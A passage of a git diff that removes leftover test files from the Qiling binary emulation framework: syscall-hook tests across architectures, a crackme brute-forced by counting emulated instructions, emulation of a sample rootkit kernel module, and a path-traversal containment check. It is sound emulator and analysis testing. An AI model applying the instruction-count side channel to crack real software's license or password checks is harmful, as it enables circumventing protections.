write_fd, write_buf, write_count, *args) - - if target: - real_path = ql.os.fd[write_fd].name - with open(real_path) as fd: - assert fd.read() == 'Hello testing\x00' - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - - def test_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args): - target = False - pathname = ql.os.utils.read_cstring(openat_path) - - if pathname == "test_syscall_open.txt": - print("test => openat(%d, %s, 0x%x, 0%o)" % (openat_fd, pathname, openat_flags, openat_mode)) - target = True - - regreturn = syscall.ql_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == True - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - - def test_syscall_unlink(ql, unlink_pathname, *args): - target = False - pathname = ql.os.utils.read_cstring(unlink_pathname) - - if pathname == "test_syscall_unlink.txt": - print("test => unlink(%s)" % (pathname)) - target = True - - regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == False - - return regreturn - - - def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): - target = False - pathname = ql.os.utils.read_cstring(trunc_pathname) - - if pathname == "test_syscall_truncate.txt": - print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) - target = True - - regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - - def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): - target = False - pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] - - if pathname == "test_syscall_ftruncate.txt": - print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) - target = True - - regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0x10 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_posix_syscall"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall(0x3f, test_syscall_read) - ql.os.set_syscall(0x40, test_syscall_write) - ql.os.set_syscall(0x38, test_syscall_openat) - ql.os.set_syscall(0x402, test_syscall_unlink) - ql.os.set_syscall(0x2d, test_syscall_truncate) - ql.os.set_syscall(0x2e, test_syscall_ftruncate) - ql.run() - del ql - - - def test_elf_linux_mips32el(self): - def random_generator(size=6, chars=string.ascii_uppercase + string.digits): - return ''.join(random.choice(chars) for x in range(size)) - - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_hello", random_generator(random.randint(1,99))], "../examples/rootfs/mips32el_linux") - ql.run() - del ql - - - def test_elf_linux_mips32el_static(self): - def random_generator(size=6, chars=string.ascii_uppercase + string.digits): - return ''.join(random.choice(chars) for x in range(size)) - - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_hello_static", random_generator(random.randint(1,99))], "../examples/rootfs/mips32el_linux") - ql.run() - del ql - - - def test_elf_linux_mips32el_posix_syscall(self): - def test_syscall_read(ql, read_fd, read_buf, read_count, *args): - target = False - pathname = ql.os.fd[read_fd].name.split('/')[-1] - - reg = ql.arch.regs.read("v0") - print("reg : 0x%x" % reg) - ql.arch.regs.v0 = reg - - if pathname == "test_syscall_read.txt": - print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) - target = True - - regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) - - if target: - real_path = ql.os.fd[read_fd].name - with open(real_path) as fd: - assert fd.read() == ql.mem.read(read_buf, read_count).decode() - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - - def test_syscall_write(ql, write_fd, write_buf, write_count, *args): - target = False - pathname = ql.os.fd[write_fd].name.split('/')[-1] - - if pathname == "test_syscall_write.txt": - print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) - target = True - - regreturn = syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) - - if target: - real_path = ql.os.fd[write_fd].name - with open(real_path) as fd: - assert fd.read() == 'Hello testing\x00' - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): - target = False - pathname = ql.os.utils.read_cstring(open_pathname) - - if pathname == "test_syscall_open.txt": - print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) - target = True - - regreturn = syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == True - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_unlink(ql, unlink_pathname, *args): - target = False - pathname = ql.os.utils.read_cstring(unlink_pathname) - - if pathname == "test_syscall_unlink.txt": - print("test => unlink(%s)" % (pathname)) - target = True - - regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == False - - return regreturn - - def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): - target = False - pathname = ql.os.utils.read_cstring(trunc_pathname) - - if pathname == "test_syscall_truncate.txt": - print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) - target = True - - regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): - target = False - pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] - - if pathname == "test_syscall_ftruncate.txt": - print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) - target = True - - regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0x10 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_posix_syscall"], "../examples/rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall(4003, test_syscall_read) - ql.os.set_syscall(4004, test_syscall_write) - ql.os.set_syscall(4005, test_syscall_open) - ql.os.set_syscall(4010, test_syscall_unlink) - ql.os.set_syscall(4092, test_syscall_truncate) - ql.os.set_syscall(4093, test_syscall_ftruncate) - ql.run() - del ql - - - def test_elf_linux_powerpc(self): - ql = Qiling(["../examples/rootfs/powerpc_linux/bin/powerpc_hello"], "../examples/rootfs/powerpc_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_elf_linux_arm_custom_syscall(self): - def my_syscall_write(ql, write_fd, write_buf, write_count, *args, **kw): - regreturn = 0 - buf = None - mapaddr = ql.mem.map_anywhere(0x100000) - ql.log.info("0x%x" % mapaddr) - - reg = ql.arch.regs.read("r0") - print("reg : 0x%x" % reg) - ql.arch.regs.r0 = reg - - - try: - buf = ql.mem.read(write_buf, write_count) - ql.log.info("\n+++++++++\nmy write(%d,%x,%i) = %d\n+++++++++" % (write_fd, write_buf, write_count, regreturn)) - ql.os.fd[write_fd].write(buf) - regreturn = write_count - except: - regreturn = -1 - ql.log.info("\n+++++++++\nmy write(%d,%x,%i) = %d\n+++++++++" % (write_fd, write_buf, write_count, regreturn)) - if ql.verbose >= QL_VERBOSE.DEBUG: - raise - self.set_syscall = reg - return regreturn - - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello"], "../examples/rootfs/arm_linux") - ql.os.set_syscall(0x04, my_syscall_write) - ql.run() - - self.assertEqual(1, self.set_syscall) - - del self.set_syscall - del ql - - - def test_elf_linux_x86_crackme(self): - def instruction_count(ql, address, size, user_data): - user_data[0] += 1 - - def my__llseek(ql, *args, **kw): - pass - - def run_one_round(payload): - ql = Qiling(["../examples/rootfs/x86_linux/bin/crackme_linux"], "../examples/rootfs/x86_linux", console=False) - - ins_count = [0] - ql.hook_code(instruction_count, ins_count) - ql.os.set_syscall("_llseek", my__llseek) - - ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) - ql.os.stdin.write(payload) - - ql.run() - del ql - - return ins_count[0] - - - def solve(): - idx_list = [1, 4, 2, 0, 3] - - flag = b'\x00\x00\x00\x00\x00\n' - - old_count = run_one_round(flag) - for idx in idx_list: - for i in b'L1NUX\\n': - flag = flag[ : idx] + chr(i).encode() + flag[idx + 1 : ] - tmp = run_one_round(flag) - if tmp > old_count: - old_count = tmp - break - # if idx == 2: - # break - - print(flag) - - print("\n\n Linux Simple Crackme Brute Force, This Will Take Some Time ...") - solve() - - def test_x86_fake_urandom_multiple_times(self): - fake_id = 0 - ids = [] - class Fake_urandom(QlFsMappedObject): - - def __init__(self): - nonlocal fake_id - self.id = fake_id - fake_id += 1 - ids.append(self.id) - ql.log.info(f"Creating Fake_urandom with id {self.id}") - - def read(self, size): - return b'\x01' - - def fstat(self): - return -1 - - def close(self): - return 0 - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_fetch_urandom_multiple_times"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - # Note we pass in a class here. - ql.add_fs_mapper("/dev/urandom", Fake_urandom) - - ql.exit_code = 0 - ql.exit_group_code = 0 - - def check_exit_group_code(ql, exit_code, *args, **kw): - ql.exit_group_code = exit_code - - def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code - - ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) - ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) - - ql.run() - self.assertEqual(0, ql.exit_code) - self.assertEqual(0, ql.exit_group_code) - last = -1 - for i in ids: - self.assertEqual(last + 1, i) - last = i - del ql - - - def test_x86_fake_urandom(self): - class Fake_urandom(QlFsMappedObject): - - def read(self, size): - return b"\x01" - - def fstat(self): - return -1 - - def close(self): - return 0 - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_fetch_urandom"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom", Fake_urandom()) - - ql.exit_code = 0 - ql.exit_group_code = 0 - - def check_exit_group_code(ql, exit_code, *args, **kw): - ql.exit_group_code = exit_code - - def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code - - ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) - ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) - - ql.run() - self.assertEqual(0, ql.exit_code) - self.assertEqual(0, ql.exit_group_code) - del ql - - - def test_x8664_map_urandom(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_fetch_urandom"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom","/dev/urandom") - - ql.exit_code = 0 - ql.exit_group_code = 0 - - def check_exit_group_code(ql, exit_code, *args, **kw): - ql.exit_group_code = exit_code - - def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code - - ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) - ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) - - ql.run() - - self.assertEqual(0, ql.exit_code) - self.assertEqual(0, ql.exit_group_code) - - del ql - - - def test_x8664_symlink(self): - ql = Qiling(["../examples/rootfs/x8664_linux_symlink/bin/x8664_hello"], "../examples/rootfs/x8664_linux_symlink", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - def test_x8664_absolute_path(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/absolutepath"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) - ql.run() - - self.assertEqual(ql.os.stdout.read(), b'test_complete\n\ntest_complete\n\n') - - del ql - - def test_x8664_getcwd(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/testcwd"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) - ql.run() - - self.assertEqual(ql.os.stdout.read(), b'/\n/lib\n/bin\n/\n') - - del ql - - def test_elf_linux_x86_return_from_main_stackpointer(self): - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_return_main"], "../examples/rootfs/x86_linux", stop=QL_STOP.STACK_POINTER) - ql.run() - del ql - - def test_elf_linux_x86_return_from_main_exit_trap(self): - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_return_main"], "../examples/rootfs/x86_linux", stop=QL_STOP.EXIT_TRAP) - ql.run() - del ql - - def test_elf_linux_x8664_return_from_main_stackpointer(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_return_main"], "../examples/rootfs/x8664_linux", stop=QL_STOP.STACK_POINTER) - ql.run() - del ql - - def test_elf_linux_x8664_return_from_main_exit_trap(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_return_main"], "../examples/rootfs/x8664_linux", stop=QL_STOP.EXIT_TRAP) - ql.run() - del ql - - def test_arm_stat64(self): - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_stat64", "/bin/arm_stat64"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - def test_elf_linux_x8664_getdents(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_getdents"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.stdout = io.BytesIO() - ql.run() - - ql.os.stdout.seek(0) - self.assertTrue("bin\n" in ql.os.stdout.read().decode("utf-8")) - - del ql - - def test_elf_linux_armeb(self): - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - def test_elf_linux_armeb_static(self): - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello_static"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEFAULT) - ql.run() - del ql - - # TODO: Disable for now - # def test_armoabi_eb_linux_syscall_elf_static(self): - # # src: https://github.com/qilingframework/qiling/blob/1f1e9bc756e59a0bfc112d32735f8882b1afc165/examples/src/linux/posix_syscall.c - # path = ["../examples/rootfs/armeb_linux/bin/posix_syscall_msb.armoabi"] - # rootfs = "../examples/rootfs/armeb_linux" - # ql = Qiling(path, rootfs, verbose = QL_VERBOSE.DEBUG) - # ql.run() - - def test_armoabi_le_linux_syscall_elf_static(self): - # src: https://github.com/qilingframework/qiling/blob/1f1e9bc756e59a0bfc112d32735f8882b1afc165/examples/src/linux/posix_syscall.c - path = ["../examples/rootfs/arm_linux/bin/posix_syscall_lsb.armoabi"] - rootfs = "../examples/rootfs/arm_linux" - ql = Qiling(path, rootfs, verbose = QL_VERBOSE.DEBUG) - ql.run() - del ql - - def test_elf_linux_x86_getdents64(self): - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_getdents64"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) - ql.run() - - self.assertTrue("bin\n" in ql.os.stdout.read().decode("utf-8")) - - del ql - - def test_memory_search(self): - ql = Qiling(code = b"\xCC", archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.DEBUG) - - ql.mem.map(0x1000, 0x1000) - ql.mem.map(0x2000, 0x1000) - ql.mem.map(0x3000, 0x1000) - - ql.mem.write(0x1000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x0f\x01\x1e\x0d\x53\x11\x07\x1d\x53\x1d\x18\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x04\x0d\x1c\x53\x11\x07\x1d\x53\x0c\x07\x1f\x06\x45") - ql.mem.write(0x2000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1a\x1d\x06\x53\x09\x1a\x07\x1d\x06\x0c\x53\x09\x06\x0c\x53\x0c\x0d\x1b\x0d\x1a\x1c\x53\x11\x07\x1d\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x05\x09\x03\x0d\x53\x11\x07\x1d\x53\x0b\x1a\x11\x45") - ql.mem.write(0x3000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1b\x09\x11\x53\x0f\x07\x07\x0c\x0a\x11\x0d\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1c\x0d\x04\x04\x53\x09\x53\x04\x01\x0d\x53\x09\x06\x0c\x53\x00\x1d\x1a\x1c\x53\x11\x07\x1d\x45") - ql.mem.write(0x1FFB, b"\x1f\x00\x07\x53\x03\x06\x07\x1f\x1b") - - # Needle not in haystack - self.assertEqual([], ql.mem.search(b"\x3a\x01\x0b\x03\x53\x29\x1b\x1c\x04\x0d\x11")) - - # Needle appears several times in haystack - self.assertEqual([0x1000 + 24, 0x2000 + 38, 0x3000 + 24], ql.mem.search(b"\x4f\x53\x06\x0d\x1e\x0d\x1a")) - - # Needle inside haystack - self.assertEqual([0x1000 + 13], ql.mem.search(b"\x0f\x01\x1e\x0d\x53\x11\x07\x1d\x53\x1d\x18", begin=0x1000 + 10, end=0x1000 + 30)) - - # Needle before haystack - self.assertEqual([], ql.mem.search(b"\x04\x0d\x1c\x53\x11\x07\x1d\x53\x0c\x07\x1f\x06", begin=0x1337)) - - # Needle after haystack - self.assertEqual([], ql.mem.search(b"\x1b\x09\x11\x53\x0f\x07\x07\x0c\x0a\x11\x0d", end=0x3000 + 13)) - - # Needle exactly inside haystack - self.assertEqual([0x2000 + 13], ql.mem.search(b"\x1a\x1d\x06\x53\x09\x1a\x07\x1d\x06\x0c", begin=0x2000 + 13, end=0x2000 + 23)) - - # Needle 'tears' two mapped regions - self.assertEqual([], ql.mem.search(b"\x1f\x00\x07\x53\x03\x06\x07\x1f\x1b", begin=0x1F00, end=0x200F)) - - # Needle is a regex - self.assertEqual([0x1000 + 11, 0x2000 + 11, 0x3000 + 43], ql.mem.search(re.compile(b"\x09\x53(\x0f|\x1a|\x04)[^\x0d]"))) - - del ql - - def test_elf_linux_x8664_path_traversion(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/path_traverse_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) - ql.run() - - self.assertTrue("root\n" not in ql.os.stdout.read().decode("utf-8")) - - del ql - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_elf_ko.py.orig b/tests/test_elf_ko.py.orig deleted file mode 100644 index 9e5153736..000000000 --- a/tests/test_elf_ko.py.orig +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os, sys, unittest - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.const import STRING -from qiling.os.linux.fncc import linux_kernel_api - -IS_FAST_TEST = 'QL_FAST_TEST' in os.environ - -class ELF_KO_Test(unittest.TestCase): - - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_demigod_m0hamed_x86(self): - checklist = [] - - @linux_kernel_api(params={ - "format": STRING - }) - def __my_printk(ql: Qiling, address: int, params): - ql.log.info(f'my printk: {params=}') - - checklist.append(params['format']) - - return 0 - - ql = Qiling(["../examples/rootfs/x86_linux/kernel/m0hamed_rootkit.ko"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api("printk", __my_printk) - - ba = ql.loader.load_address - ql.run(ba + 0x01e0, ba + 0x01fa) - - self.assertEqual("DONT YOU EVER TRY TO READ THIS FILE OR I AM GOING TO DESTROY YOUR MOST SECRET DREAMS", checklist.pop(0)) - self.assertEqual(len(checklist), 0) - - def test_demigod_hello_x8664(self): - checklist = [] - - def __onenter_printk(ql: Qiling, address: int, params): - ql.log.info(f'about to enter printk: {params=}') - - checklist.append(params['format']) - - ql = Qiling(["../examples/rootfs/x8664_linux/kernel/hello.ko"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api("printk", __onenter_printk, QL_INTERCEPT.ENTER) - - ba = ql.loader.load_address - ql.run(ba + 0x64, ba + 0x7e) # run lkm_example_init - ql.run(ba + 0x7f, ba + 0x90) # run lkm_example_exit - - self.assertIn('Hello', checklist.pop(0)) - self.assertIn('Goodbye', checklist.pop(0)) - self.assertEqual(len(checklist), 0) - - def test_demigod_hello_mips32(self): - checklist = [] - - def __onexit_printk(ql: Qiling, address: int, params, retval: int): - ql.log.info(f'done with printk: {params=}') - - checklist.append(params['format']) - - ql = Qiling(["../examples/rootfs/mips32_linux/kernel/hello.ko"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api("printk", __onexit_printk, QL_INTERCEPT.EXIT) - - ba = ql.loader.load_address - ql.run(ba + 0x60, ba + 0x84) # run hello - ql.run(ba + 0x88, ba + 0x98) # run goodbye - - self.assertIn('Hello', checklist.pop(0)) - self.assertEqual(len(checklist), 0) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_elf_multithread.py.orig b/tests/test_elf_multithread.py.orig deleted file mode 100644 index 2121deb46..000000000 --- a/tests/test_elf_multithread.py.orig +++ /dev/null @@ -1,405 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import http.client, platform, socket, sys, os, threading, time, unittest - -sys.path.append("..") -from qiling import Qiling -from qiling.const import * -from qiling.exception import * -from qiling.os.filestruct import ql_file - -class ELFTest(unittest.TestCase): - - @unittest.skipIf(platform.system() == "Darwin" and platform.machine() == "arm64", 'darwin host') - def test_elf_linux_execve_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/posix_syscall_execve"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - - for key, value in ql.loader.env.items(): - QL_TEST=value - - self.assertEqual("TEST_QUERY", QL_TEST) - self.assertEqual("child", ql.loader.argv[0]) - - del QL_TEST - del ql - - def test_elf_linux_cloexec_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_cloexec_test"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) - - filename = 'output.txt' - err = ql_file.open(filename, os.O_RDWR | os.O_CREAT, 0o777) - - ql.os.stderr = err - ql.run() - err.close() - - with open(filename, 'rb') as f: - content = f.read() - - # cleanup - os.remove(filename) - - self.assertIn(b'fail', content) - - del ql - - def test_multithread_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_multithreading"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - def test_multithread_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_multithreading"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - def test_multithread_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_multithreading"], "../examples/rootfs/x8664_linux", multithread=True) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - def test_multithread_elf_linux_mips32eb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_multithreading"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - def test_multithread_elf_linux_mips32el(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_multithreading"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - def test_multithread_elf_linux_arm(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_multithreading"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql - - # unicorn.unicorn.UcError: Invalid instruction (UC_ERR_INSN_INVALID) - # def test_multithread_elf_linux_armeb(self): - # def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - # nonlocal buf_out - # try: - # buf = ql.mem.read(write_buf, write_count) - # buf = buf.decode() - # buf_out = buf - # except: - # pass - # buf_out = None - # ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_multithreading"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - # ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - # ql.run() - - # self.assertTrue("thread 2 ret val is" in buf_out) - - # del ql - - def test_tcp_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_tcp_test", "20001"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) - - del ql - - def test_tcp_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_tcp_test", "20002"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) - - del ql - - def test_tcp_elf_linux_arm(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server write()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_tcp_test", "20003"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server write() 14 return 14.\n", ql.buf_out) - - del ql - - - def test_tcp_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_tcp_test", "20004"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) - - del ql - - - def test_tcp_elf_linux_armeb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_tcp_test", "20003"], "../examples/rootfs/armeb_linux", multithread=True, 